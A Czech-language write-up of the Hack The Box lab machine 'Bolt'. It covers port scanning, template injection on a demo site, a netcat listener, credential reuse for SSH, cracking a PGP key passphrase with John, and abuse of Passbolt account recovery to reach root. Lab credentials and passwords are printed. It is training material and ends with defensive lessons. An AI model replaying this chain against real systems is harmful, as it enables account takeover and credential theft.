Bolt
Úvod a kontext
Bolt je dobrá ukázka toho, že produkční problém často nezačíná na hlavní aplikaci, ale na vedlejší demoinstanci. První shell tady nevzniká v Passboltu, ale na demo.bolt.htb: invitation code z uniklého app.py dovolí registraci a SSTI v profilu otevře cestu na host.
Skutečně zajímavá je ale až druhá půlka řetězce. Root nevznikne lokálním exploitem, ale zneužitím recovery workflow v Passboltu. Databázový token má cenu teprve ve chvíli, kdy se k němu přidá soukromý PGP klíč vytažený z klientských dat Eddieho prohlížeče.
Počáteční průzkum
Vyhledání otevřených portů
Nejprve mapuji veřejně dostupné služby, protože právě z otevřených portů odvodím, které protokoly a aplikace má smysl zkoumat detailněji.
ports=$(nmap -p- --min-rate=1000 -T4 $IP | grep ^[0-9] | cut -d "/" -f 1 | tr "\n" "," | sed s/,$//);echo $ports;nmap -p $ports -A -sC -sV -v $IP
PORT STATE SERVICE VERSION
Detailní analýza služeb
V dalším kroku si zpřesňuji verze služeb a jejich charakteristiky, protože právě z těchto detailů obvykle vzniká rozhodnutí, zda pokračovat přes web, SSH nebo jinou vrstvu.
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 4d:20:8a:b2:c2:8c:f5:3e:be:d2:e8:18:16:28:6e:8e (RSA)
| 256 7b:0e:c7:5f:5a:4c:7a:11:7f:dd:58:5a:17:2f:cd:ea (ECDSA)
|_ 256 a7:22:4e:45:19:8e:7d:3c:bc:df:6e:1d:6c:4f:41:56 (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-favicon: Unknown favicon MD5: __CENSORED__
| http-methods:
|_ Supported Methods: OPTIONS HEAD GET
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Starter Website - About
443/tcp open ssl/http nginx 1.18.0 (Ubuntu)
|_http-favicon: Unknown favicon MD5: __CENSORED__
| http-methods:
|_ Supported Methods: GET HEAD POST
|_http-server-header: nginx/1.18.0 (Ubuntu)
| http-title: Passbolt | Open source password manager for teams
|_Requested resource was /auth/login?redirect=%2F
| ssl-cert: Subject: commonName=passbolt.bolt.htb/organizationName=Internet Widgits Pty Ltd/stateOrProvinceName=Some-State/countryName=AU
| Issuer: commonName=passbolt.bolt.htb/organizationName=Internet Widgits Pty Ltd/stateOrProvinceName=Some-State/countryName=AU
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2021-02-24T19:11:23
| Not valid after: 2022-02-24T19:11:23
| MD5: 3ac3 4f7c ee22 88de 7967 fe85 8c42 afc6
|_SHA-1: c606 ca92 404f 2f04 6231 68be c4c4 644f e9ed f132
48781/tcp closed unknown
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Analýza zjištění
Extrakce PGP klíče Eddieho
Soukromý PGP klíč sám o sobě nestačí. Pokud má být recovery workflow v Passboltu zneužitelný, je potřeba z klientských dat vytáhnout i passphrase.
gpg2john key > key.john
Prolomení passphrase
Po převodu klíče do formátu pro John už jde čistě o to, zda je passphrase dost slabá na offline prolomení.
john --wordlist=/usr/share/wordlists/rockyou.txt --format=gpg key.john
=> merrychristmas (Eddie Johnson)
Získání přístupu
Demo instance a SSTI
Vedle hlavního Passboltu byla dostupná i demoverze na demo.bolt.htb. Z app.py v uniklém image šel získat invitation code XNSS-HSJW-3NGU-8XTJ, vytvořit účet a následně zneužít SSTI při změně jména v profilu. Teprve tenhle krok otevřel první shell a lokální čtení souborů.
První shell a lokální konfigurace
První webový shell sloužil hlavně k rychlému vytažení konfigurace Passboltu a k ověření, kteří lokální uživatelé na systému dávají smysl pro další pivot.
netcat -lvp 4000
Konfigurace Passboltu okamžitě odhalila databázové přihlašovací údaje:
'Datasources' => [
'default' => [
'host' => 'localhost',
'port' => '3306',
'username' => 'passbolt',
'password' => 'rT2;jW7<eY8!dX8}pQ8%',
'database' => 'passboltdb',
],
],
Stejně důležité bylo i ověření lokálních účtů, protože z něj bylo patrné, že kromě eddie existuje i uživatel clark, který se později objeví v mailu a v Passboltu:
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
[... výstup zkrácen ...]
hplip:x:119:7:HPLIP system user,,,:/run/hplip:/bin/false
whoopsie:x:120:125::/nonexistent:/bin/false
colord:x:121:126:colord colour management daemon,,,:/var/lib/colord:/usr/sbin/nologin
geoclue:x:122:127::/var/lib/geoclue:/usr/sbin/nologin
pulse:x:123:128:PulseAudio daemon,,,:/var/run/pulse:/usr/sbin/nologin
gnome-initial-setup:x:124:65534::/run/gnome-initial-setup/:/bin/false
gdm:x:125:130:Gnome Display Manager:/var/lib/gdm3:/bin/false
eddie:x:1000:1000:Eddie Johnson,,,:/home/eddie:/bin/bash
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
vboxadd:x:998:1::/var/run/vboxadd:/bin/false
Stabilizace přístupu přes SSH
Databázové heslo z passbolt.php fungovalo i pro systémový účet eddie, takže SSH byl přirozený další krok. Webshell tím splnil účel a další průzkum mohl pokračovat v plnohodnotném shellu.
ssh eddie@10.10.11.114 # (pass: rT2;jW7<eY8!dX8}pQ8%)
Získání user flagu
user.txt tady hlavně potvrzuje, že compromise Passbolt konfigurace už přerostla v běžný systémový přístup pod eddie.
cat user.txt
__CENSORED__
Artefakty v profilu Eddieho
Další směr určily lokální artefakty v Eddieho profilu: mail od clark a uložená data rozšíření Passbolt pro Chrome.
From clark@bolt.htb Thu Feb 25 14:20:19 2021
Return-Path: <clark@bolt.htb>
X-Original-To: eddie@bolt.htb
Delivered-To: eddie@bolt.htb
Received: by bolt.htb (Postfix, from userid 1001)
id DFF264CD; Thu, 25 Feb 2021 14:20:19 -0700 (MST)
Subject: Important!
To: <eddie@bolt.htb>
X-Mailer: mail (GNU Mailutils 3.7)
Message-Id: <20210225212019.DFF264CD@bolt.htb>
Date: Thu, 25 Feb 2021 14:20:19 -0700 (MST)
From: Clark Griswold <clark@bolt.htb>
Hey Eddie,
The password management server is up and running. Go ahead and download the extension to your browser and get logged in. Be sure to back up your private key because I CANNOT recover it. Your private key is the only way to recover your account.
Once you're set up you can start importing your passwords. Please be sure to keep good security in mind - there's a few things I read about in a security whitepaper that are a little concerning...
-Clark
grep -nrw . -e "PRIVATE KEY"
Binary file ./.config/google-chrome/Default/Local Extension Settings/didegimhafipceonhjepacocaffmoppf/000003.log matches
[... výstup zkrácen ...]
__CENSORED__
__CENSORED__
...
__CENSORED__/
__CENSORED__
__CENSORED__
__CENSORED__
PSwYYWlAywj5
=cqxZ
-----END PGP PRIVATE KEY BLOCK-----
Eskalace oprávnění
Získání root flagu
Tento krok ukazuje, jak se nalezená slabina nebo chyba v delegaci oprávnění mění v privilegovaný přístup.
Eskalace zde nevedla přes lokální kernelový exploit, ale přes samotný Passbolt. Z účtu eddie bylo možné přečíst databázové přihlašovací údaje z /etc/passbolt/passbolt.php, přihlásit se do passboltdb a z tabulek users a authentication_tokens sestavit recovery URL pro Eddieho účet.
To samo o sobě ještě nestačí. Mail v /var/mail/eddie vysvětluje, že obnova účtu je svázaná se soukromým PGP klíčem. Ten byl uložený v lokálních datech rozšíření Chrome a po prolomení passphrase (merrychristmas) šel importovat do GPG. Kombinace recovery tokenu a nalezeného soukromého klíče pak dovolila dokončit obnovu Passbolt účtu a zobrazit tajemství uložené pro účet root.
mysql -u passbolt -p
select * from users;
select * from authentication_tokens;
ssh root@10.10.11.114 # heslo: Z(2rmxsNW(Z?3=p/9s
cat /root/root.txt
Z pedagogického hlediska je důležité rozlišit příčinu a následek: slabinou zde nebylo samotné SSH, ale špatně chráněný proces obnovy účtu v kombinaci s únikem soukromého klíče z klientského prostředí.
Shrnutí klíčových poznatků
- První shell neotevřel Passbolt, ale demoinstance
demo.bolt.htbse SSTI v profilu a invitation codem vytaženým zapp.py. - User přístup vznikl z databázového hesla v
/etc/passbolt/passbolt.php, které bylo znovu použité i pro účeteddiena SSH. - Root stál na kombinaci dvou nezávislých úniků: recovery tokenu z databáze Passboltu a soukromého PGP klíče uloženého v lokálních datech Chrome extension.
Co si odnést do praxe
- Demo a staging instance nesmějí sdílet stejný trust boundary jako produkce. Invitation code a formulář pro úpravu profilu na
demo.bolt.htbtady otevřely celý další řetězec. - Serverová tajemství z password manageru nesmějí být reuseovaná pro systémové účty. Jakmile heslo z konfigurace Passboltu funguje i na SSH, z lokálního čtení souborů je okamžitě stabilní shell.
- Klientská data bezpečnostních nástrojů jsou stejně citlivá jako server. Recovery proces v Passboltu selhal proto, že serverový token a soukromý klíč z browser extension bylo možné získat odděleně a pak znovu spojit.